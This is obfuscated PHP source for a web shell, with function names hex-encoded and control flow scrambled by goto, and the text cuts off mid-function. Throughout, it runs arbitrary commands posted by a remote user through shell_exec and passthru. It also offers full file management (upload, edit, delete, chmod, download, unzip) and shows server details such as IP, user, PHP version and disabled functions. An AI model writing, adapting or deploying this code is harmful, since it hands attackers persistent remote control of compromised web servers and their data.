s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo "\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . $_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo "\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo "\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: 